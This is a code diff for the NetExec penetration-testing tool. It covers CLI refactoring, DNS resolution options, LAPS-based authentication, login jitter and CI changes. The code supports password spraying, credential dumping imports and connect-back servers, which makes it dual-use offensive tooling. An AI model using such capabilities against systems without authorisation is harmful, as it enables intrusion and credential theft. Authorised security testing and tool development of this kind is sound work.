Merge pull request #327 from Pennyw0rth/ItsAlwaysDNS

ItsAlwaysDNS

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,18 @@
+---
+name: Feature request
+about: Request a new feature or enhancement
+title: ''
+labels: ''
+assignees: ''
+
+---
+**Please Describe The Problem To Be Solved**
+(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
+
+**(Optional): Suggest A Solution**
+(Replace This Text: A concise description of your preferred solution. Things to address include:
+* Details of the technical implementation
+* Tradeoffs made in design decisions
+* Caveats and considerations for the future
+
+If there are multiple solutions, please present each one separately. Save comparisons for the very end.)

.github/PULL_REQUEST_TEMPLATE/pull_request_template.md

@@ -0,0 +1,44 @@
+---
+name: Pull request
+about: Update code to fix a bug or add an enhancement/feature
+title: ''
+labels: ''
+assignees: ''
+
+---
+## Description
+
+Please include a summary of the change and which issue is fixed, or what the enhancement does.
+Please also include relevant motivation and context.
+List any dependencies that are required for this change.
+
+## Type of change
+Please delete options that are not relevant.
+- [ ] Bug fix (non-breaking change which fixes an issue)
+- [ ] New feature (non-breaking change which adds functionality)
+- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
+- [ ] This change requires a documentation update
+- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
+
+## How Has This Been Tested?
+Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
+Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
+
+If you are using poetry, you can easily run tests via:
+`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
+There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
+
+## Screenshots (if appropriate):
+Screenshots are always nice to have and can give a visual representation of the change.
+If appropriate include before and after screenshot(s) to show which results are to be expected.
+
+## Checklist:
+
+- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
+- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
+- [ ] New and existing e2e tests pass locally with my changes
+- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
+- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
+- [ ] I have performed a self-review of my own code
+- [ ] I have commented my code, particularly in hard-to-understand areas
+- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)

.github/workflows/lint.yml

@@ -1,11 +1,11 @@
 name: Lint Python code with ruff
 # Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
 
-on: [push, pull_request]
+on:
+  push:
 
 jobs:
   lint:
-    name: Lint Python code with ruff
     runs-on: ubuntu-latest
     if:
       github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository

.github/workflows/test.yml

@@ -1,32 +1,51 @@
 name: NetExec Tests
 
 on:
+  workflow_dispatch:
   pull_request_review:
     types: [submitted]
 
 jobs:
   build:
-    name: NetExec Tests for Py${{ matrix.python-version }}
+    name: Test for Py${{ matrix.python-version }}
+    if: github.event.review.state == 'APPROVED'
     runs-on: ${{ matrix.os }}
     strategy:
       max-parallel: 5
       matrix:
         os: [ubuntu-latest]
-        python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
+        python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
     steps:
-    - uses: actions/checkout@v3
-    - name: NetExec set up python on ${{ matrix.os }}
-      uses: actions/setup-python@v4
-      with:
-        python-version: ${{ matrix.python-version }}
-    - name: Install poetry
-      run: |
-        pipx install poetry --python python${{ matrix.python-version }}
-        poetry --version
-        poetry env info
-    - name: Install libraries with dev group
-      run: |
-        poetry install --with dev
-    - name: Run the e2e test
-      run: |
-        poetry run pytest tests
+      - uses: actions/checkout@v3
+      - name: Install poetry
+        run: |
+          pipx install poetry
+      - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
+        uses: actions/setup-python@v4
+        with:
+          python-version: ${{ matrix.python-version }}
+          cache: poetry
+          cache-dependency-path: poetry.lock
+      - name: Install with pipx
+        run: |
+          pipx install . --python python${{ matrix.python-version }}
+      - name: Install poetry
+        run: |
+          pipx install poetry --python python${{ matrix.python-version }}
+          poetry --version
+          poetry env info
+      - name: Install libraries with dev group
+        run: |
+          poetry install --with dev
+      - name: Load every protocol and module
+        run: |
+          poetry run netexec winrm 127.0.0.1
+          poetry run netexec vnc 127.0.0.1
+          poetry run netexec smb 127.0.0.1
+          poetry run netexec ldap 127.0.0.1
+          poetry run netexec wmi 127.0.0.1
+          poetry run netexec rdp 127.0.0.1
+          poetry run netexec mssql 127.0.0.1
+          poetry run netexec ssh 127.0.0.1
+          poetry run netexec ftp 127.0.0.1
+          poetry run netexec smb 127.0.0.1 -M veeam

.gitignore

@@ -1,8 +1,10 @@
 data/nxc.db
 hash_spider_default.sqlite3
+hash_spider_testing.sqlite3
 *.bak
 *.log
 .venv
+pyvenv.cfg
 .vscode
 .idea
 # Byte-compiled / optimized / DLL files

README.md

@@ -1,4 +1,4 @@
-![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg)
+![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg)
 [![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
 [![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
 [![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
@@ -21,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
 
 You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
 
-- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues) 
+- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues) 
 - 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
 - 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
 
@@ -37,6 +37,12 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
 # Installation
 Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
 
+## Linux
+```
+sudo apt install pipx git
+pipx ensurepath
+pipx install git+https://github.com/Pennyw0rth/NetExec
+```
 # Development
 Development guidelines and recommendations in development
 

netexec.spec

@@ -13,6 +13,12 @@ a = Analysis(
         ('./nxc/modules', 'nxc/modules')
      ],
      hiddenimports=[
+        'aardwolf',
+        'aardwolf.connection',
+        'aardwolf.commons.queuedata.constants',
+        'aardwolf.commons.iosettings',
+        'aardwolf.commons.target',
+        'aardwolf.protocol.x224.constants',
         'impacket.examples.secretsdump',
         'impacket.dcerpc.v5.lsat',
         'impacket.dcerpc.v5.transport',
@@ -32,9 +38,11 @@ a = Analysis(
         'nxc.protocols.smb.smbspider',
         'nxc.protocols.smb.passpol',
         'nxc.protocols.mssql.mssqlexec',
+        'nxc.parsers.ldap_results',
         'nxc.helpers.bash',
         'nxc.helpers.bloodhound',
         'nxc.helpers.msada_guids',
+        'nxc.helpers.ntlm_parser',
         'paramiko',
         'pypsrp.client',
         'pywerview.cli.helpers',
@@ -59,12 +67,16 @@ a = Analysis(
         'dploot.triage.browser',
         'dploot.triage.credentials',
         'dploot.triage.masterkeys',
+        'dploot.triage.mobaxterm',
         'dploot.triage.backupkey',
         'dploot.triage.wifi',
+        'dploot.triage.sccm',
         'dploot.lib.target',
         'dploot.lib.smb',
         'pyasn1_modules.rfc5652',
         'unicrypto.backends.pycryptodomex',
+        'dateutil.relativedelta',
+        'sspilib.raw._text',
      ],
      hookspath=['./nxc/.hooks'],
      runtime_hooks=[],

nxc/cli.py

@@ -1,21 +1,56 @@
 import argparse
+import argcomplete
 import sys
 from argparse import RawTextHelpFormatter
+from os import listdir
+from os.path import dirname
+from os.path import join as path_join
+import nxc
+from nxc.paths import NXC_PATH
 from nxc.loaders.protocolloader import ProtocolLoader
 from nxc.helpers.logger import highlight
-from nxc.logger import nxc_logger
+from nxc.helpers.args import DisplayDefaultsNotNone
+from nxc.logger import nxc_logger, setup_debug_logging
 import importlib.metadata
 
 
 def gen_cli_args():
-    VERSION = importlib.metadata.version("netexec")
-    CODENAME = "nxc4u"
-
-    parser = argparse.ArgumentParser(description=f"""
+    setup_debug_logging()
+    
+    try:
+        VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
+    except ValueError:
+        VERSION = importlib.metadata.version("netexec")
+        COMMIT = ""
+    CODENAME = "ItsAlwaysDNS"
+    nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
+    
+    generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
+    generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
+    generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
+    generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
+    
+    output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
+    output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
+    output_group.add_argument("--debug", action="store_true", help="enable debug level information")
+    output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
+    output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
+    
+    dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    dns_group = dns_parser.add_argument_group("DNS")
+    dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
+    dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
+    dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
+    dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
+    
+    parser = argparse.ArgumentParser(
+        description=rf"""
      .   .
     .|   |.     _   _          _     _____
     ||   ||    | \ | |   ___  | |_  | ____| __  __   ___    ___
-    \\\( )//    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
+    \\( )//    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
     .=[ ]=.    | |\  | |  __/ | |_  | |___   >  <  |  __/ | (__
    / /ॱ-ॱ\ \   |_| \_|  \___|  \__| |_____| /_/\_\  \___|  \___|
    ॱ \   / ॱ
@@ -28,48 +63,48 @@ def gen_cli_args():
 
     {highlight('Version', 'red')} : {highlight(VERSION)}
     {highlight('Codename', 'red')}: {highlight(CODENAME)}
-    """, formatter_class=RawTextHelpFormatter)
+    {highlight('Commit', 'red')}  : {highlight(COMMIT)}
+    """,
+        formatter_class=RawTextHelpFormatter,
+        parents=[generic_parser, output_parser, dns_parser]
+    )
 
-    parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
-    parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
-    parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
-    parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
-    parser.add_argument("--verbose", action="store_true", help="enable verbose output")
-    parser.add_argument("--debug", action="store_true", help="enable debug level information")
     parser.add_argument("--version", action="store_true", help="Display nxc version")
 
     # we do module arg parsing here so we can reference the module_list attribute below
-    module_parser = argparse.ArgumentParser(add_help=False)
-    mgroup = module_parser.add_mutually_exclusive_group()
-    mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
-    module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
-    module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
-    module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
-    module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
-    module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
-    module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
-    module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
+    module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
+    mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
+    mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
+    mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
+    mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
 
-    subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
+    subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
 
-    std_parser = argparse.ArgumentParser(add_help=False)
+    std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
     std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
-    std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
-    std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
-    std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
-    std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
-    std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
-    std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
-    std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
-    std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
-    std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
-    std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
-    std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
+    credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
+    credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
+    credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
+    credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
+    credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
+    credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
+    credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
+    credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
+    credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
+    credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
 
-    fail_group = std_parser.add_mutually_exclusive_group()
-    fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
-    fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
-    fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
+    kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
+    kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
+    kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
+    kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
+    kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
+    
+    server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
+    server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
+    server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
+    server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
+    server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")    
 
     p_loader = ProtocolLoader()
     protocols = p_loader.get_protocols()
@@ -77,18 +112,36 @@ def gen_cli_args():
     try:
         for protocol in protocols:
             protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
-            subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
+            subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
     except Exception as e:
         nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
 
+    argcomplete.autocomplete(parser)
+    args = parser.parse_args()
+
     if len(sys.argv) == 1:
         parser.print_help()
         sys.exit(1)
 
-    args = parser.parse_args()
-
     if args.version:
-        print(f"{VERSION} - {CODENAME}")
+        print(f"{VERSION} - {CODENAME} - {COMMIT}")
         sys.exit(1)
 
+    # Multiply output_tries by 10 to enable more fine granural control, see exec methods
+    if hasattr(args, "get_output_tries"):
+        args.get_output_tries = args.get_output_tries * 10
+
     return args
+
+
+def get_module_names():
+    """Get module names without initializing them"""
+    modules = []
+    modules_paths = [
+        path_join(dirname(nxc.__file__), "modules"),
+        path_join(NXC_PATH, "modules"),
+    ]
+
+    for path in modules_paths:
+        modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"])
+    return sorted(modules, key=str.casefold)

nxc/config.py

@@ -43,5 +43,5 @@ if len(host_info_colors) != 4:
 
 # this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
 def process_secret(text):
-    hidden = text[:reveal_chars_of_pwd]
-    return text if not audit_mode else hidden + audit_mode * 8
+    reveal = text[:reveal_chars_of_pwd]
+    return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8)

nxc/connection.py

@@ -4,38 +4,82 @@ from threading import BoundedSemaphore
 from functools import wraps
 from time import sleep
 from ipaddress import ip_address
+from dns import resolver, rdatatype
 from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
 
 from nxc.config import pwned_label
 from nxc.helpers.logger import highlight
+from nxc.loaders.moduleloader import ModuleLoader
 from nxc.logger import nxc_logger, NXCAdapter
 from nxc.context import Context
+from nxc.protocols.ldap.laps import laps_search
 
 from impacket.dcerpc.v5 import transport
 import sys
+import contextlib
 
 sem = BoundedSemaphore(1)
 global_failed_logins = 0
 user_failed_logins = {}
 
 
-def gethost_addrinfo(hostname):
-    is_ipv6 = False
-    is_link_local_ipv6 = False
+def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
+    result = {
+        "host": "",
+        "is_ipv6": False,
+        "is_link_local_ipv6": False
+    }
     address_info = {"AF_INET6": "", "AF_INET": ""}
 
-    for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
-        af, _, _, canonname, sa = res
-        address_info[af.name] = sa[0]
+    try:
+        if ip_address(target).version == 4:
+            address_info["AF_INET"] = target
+        else:
+            address_info["AF_INET6"] = target
+    except Exception:
+        # If the target is not an IP address, we need to resolve it
+        if not (dns_server or dns_tcp):
+            for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
+                af, _, _, canonname, sa = res
+                address_info[af.name] = sa[0]
+
+            if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
+                address_info["AF_INET6"] = canonname
+                result["is_link_local_ipv6"] = True
+        else:
+            dnsresolver = resolver.Resolver()
+            dnsresolver.timeout = dns_timeout
+            dnsresolver.lifetime = dns_timeout
+
+            if dns_server:
+                dnsresolver.nameservers = [dns_server]
+
+            try:
+                answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
+                address_info["AF_INET"] = answers_ipv4[0].address
+            except Exception:
+                pass
+
+            try:
+                answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
+                address_info["AF_INET6"] = answers_ipv6[0].address
+
+                if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
+                    result["is_link_local_ipv6"] = True
+            except Exception:
+                pass
+
+    if not (address_info["AF_INET"] or address_info["AF_INET6"]):
+        raise Exception(f"The DNS query name does not exist: {target}")
 
     # IPv4 preferred
-    if address_info["AF_INET"]:
-        host = address_info["AF_INET"]
+    if address_info["AF_INET"] and not force_ipv6:
+        result["host"] = address_info["AF_INET"]
     else:
-        is_ipv6 = True
-        host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
+        result["is_ipv6"] = True
+        result["host"] = address_info["AF_INET6"]
 
-    return host, is_ipv6, is_link_local_ipv6
+    return result
 
 
 def requires_admin(func):
@@ -47,7 +91,7 @@ def requires_admin(func):
     return wraps(func)(_decorator)
 
 
-def dcom_FirewallChecker(iInterface, timeout):
+def dcom_FirewallChecker(iInterface, remoteHost, timeout):
     stringBindings = iInterface.get_cinstance().get_string_bindings()
     for strBinding in stringBindings:
         if strBinding["wTowerId"] == 7:
@@ -67,6 +111,7 @@ def dcom_FirewallChecker(iInterface, timeout):
         return True, None
     try:
         rpctransport = transport.DCERPCTransportFactory(stringBinding)
+        rpctransport.setRemoteHost(remoteHost)
         rpctransport.set_connect_timeout(timeout)
         rpctransport.connect()
         rpctransport.disconnect()
@@ -78,49 +123,66 @@ def dcom_FirewallChecker(iInterface, timeout):
 
 
 class connection:
-    def __init__(self, args, db, host):
-        self.domain = None
+    def __init__(self, args, db, target):
         self.args = args
         self.db = db
-        self.hostname = host
-        self.port = self.args.port
+        self.logger = nxc_logger
         self.conn = None
-        self.admin_privs = False
+
+        # Authentication info
         self.password = ""
         self.username = ""
         self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
         self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
-        self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
         self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
+        self.admin_privs = False
         self.failed_logins = 0
-        self.local_ip = None
-        self.logger = nxc_logger
 
-        try:
-            self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
-            if self.args.kerberos:
-                self.host = self.hostname
-            self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
-        except Exception as e:
-            self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
+        # Network info
+        self.domain = None
+        self.host = None            # IP address of the target. If kerberos this is the hostname
+        self.hostname = target      # Target info supplied by the user, may be an IP address or a hostname
+        self.remoteName = target    # hostname + domain, defaults to target if domain could not be resolved/not specified
+        self.kdcHost = self.args.kdcHost
+        self.port = self.args.port
+        self.local_ip = None
+
+        # DNS resolution
+        dns_result = self.resolver(target)
+        if dns_result:
+            self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
+        else:
             return
 
-        if args.jitter:
-            jitter = args.jitter
-            if "-" in jitter:
-                start, end = jitter.split("-")
-                jitter = (int(start), int(end))
-            else:
-                jitter = (0, int(jitter))
+        if self.args.kerberos:
+            self.host = self.hostname
 
-            value = random.choice(range(jitter[0], jitter[1]))
-            self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
-            sleep(value)
+        self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
 
         try:
             self.proto_flow()
         except Exception as e:
-            self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
+            if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
+                self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
+            else:
+                self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
+        finally:
+            self.logger.debug(f"Closing connection to: {target}")
+            with contextlib.suppress(Exception):
+                self.conn.close()
+
+    def resolver(self, target):
+        try:
+            return get_host_addr_info(
+                target=target,
+                force_ipv6=self.args.force_ipv6,
+                dns_server=self.args.dns_server,
+                dns_tcp=self.args.dns_tcp,
+                dns_timeout=self.args.dns_timeout
+            )
+        except Exception as e:
+            self.logger.info(f"Error resolving hostname {target}: {e}")
+            return None
 
     @staticmethod
     def proto_args(std_parser, module_parser):
@@ -141,16 +203,7 @@ class connection:
     def check_if_admin(self):
         return
 
-    def kerberos_login(
-        self,
-        domain,
-        username,
-        password="",
-        ntlm_hash="",
-        aesKey="",
-        kdcHost="",
-        useCache=False,
-    ):
+    def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
         return
 
     def plaintext_login(self, domain, username, password):
@@ -162,11 +215,14 @@ class connection:
     def proto_flow(self):
         self.logger.debug("Kicking off proto_flow")
         self.proto_logger()
-        if self.create_conn_obj():
+        if not self.create_conn_obj():
+            self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
+        else:
             self.logger.debug("Created connection object")
             self.enum_host_info()
             if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
                 if hasattr(self.args, "module") and self.args.module:
+                    self.load_modules()
                     self.logger.debug("Calling modules")
                     self.call_modules()
                 else:
@@ -200,7 +256,7 @@ class connection:
         It iterates over the modules specified in the command line arguments.
         For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
         """
-        for module in self.module:
+        for module in self.modules:
             self.logger.debug(f"Loading module {module.name} - {module}")
             module_logger = NXCAdapter(
                 extra={
@@ -384,7 +440,9 @@ class connection:
         return domain, username, owned, secret, cred_type, [None] * len(secret)
 
     def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
-        """Try to login using the specified credentials and protocol.
+        """
+        Try to login using the specified credentials and protocol.
+        With  --jitter an authentication throttle can be applied.
 
         Possible login methods are:
             - plaintext (/kerberos)
@@ -397,6 +455,18 @@ class connection:
             return False
         if hasattr(self.args, "delegate") and self.args.delegate:
             self.args.kerberos = True
+
+        if self.args.jitter:
+            jitter = self.args.jitter
+            if "-" in jitter:
+                start, end = jitter.split("-")
+                jitter = (int(start), int(end))
+            else:
+                jitter = (0, int(jitter))
+            value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
+            self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
+            sleep(value)
+
         with sem:
             if cred_type == "plaintext":
                 if self.args.kerberos:
@@ -459,6 +529,13 @@ class connection:
                 self.logger.info("Successfully authenticated using Kerberos cache")
                 return True
 
+        if hasattr(self.args, "laps") and self.args.laps:
+            self.logger.debug("Trying to authenticate using LAPS")
+            username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
+            cred_type = ["plaintext"]
+            if not (username[0] or secret[0] or domain[0]):
+                return False
+
         if not self.args.no_bruteforce:
             for secr_index, secr in enumerate(secret):
                 for user_index, user in enumerate(username):
@@ -478,3 +555,12 @@ class connection:
 
     def mark_pwned(self):
         return highlight(f"({pwned_label})" if self.admin_privs else "")
+
+    def load_modules(self):
+        self.logger.info(f"Loading modules for target: {self.host}")
+        loader = ModuleLoader(self.args, self.db, self.logger)
+        self.modules = []
+
+        for module_path in self.module_paths:
+            module = loader.init_module(module_path)
+            self.modules.append(module)

nxc/data/nxc.conf

@@ -13,7 +13,7 @@ bh_enabled = False
 bh_uri = 127.0.0.1
 bh_port = 7687
 bh_user = neo4j
-bh_pass = neo4j
+bh_pass = bloodhoundcommunityedition
 
 [Empire]
 api_host = 127.0.0.1

nxc/database.py

@@ -0,0 +1,97 @@
+import sys
+import configparser
+import shutil
+from sqlalchemy import create_engine
+from sqlite3 import connect
+from os import mkdir
+from os.path import exists
+from os.path import join as path_join
+
+from nxc.loaders.protocolloader import ProtocolLoader
+from nxc.paths import WORKSPACE_DIR
+
+
+def create_db_engine(db_path):
+    return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
+
+
+def open_config(config_path):
+    try:
+        config = configparser.ConfigParser()
+        config.read(config_path)
+    except Exception as e:
+        print(f"[-] Error reading nxc.conf: {e}")
+        sys.exit(1)
+    return config
+
+
+def get_workspace(config):
+    return config.get("nxc", "workspace")
+
+
+def set_workspace(config_path, workspace_name):
+    config = open_config(config_path)
+    config.set("nxc", "workspace", workspace_name)
+    write_configfile(config, config_path)
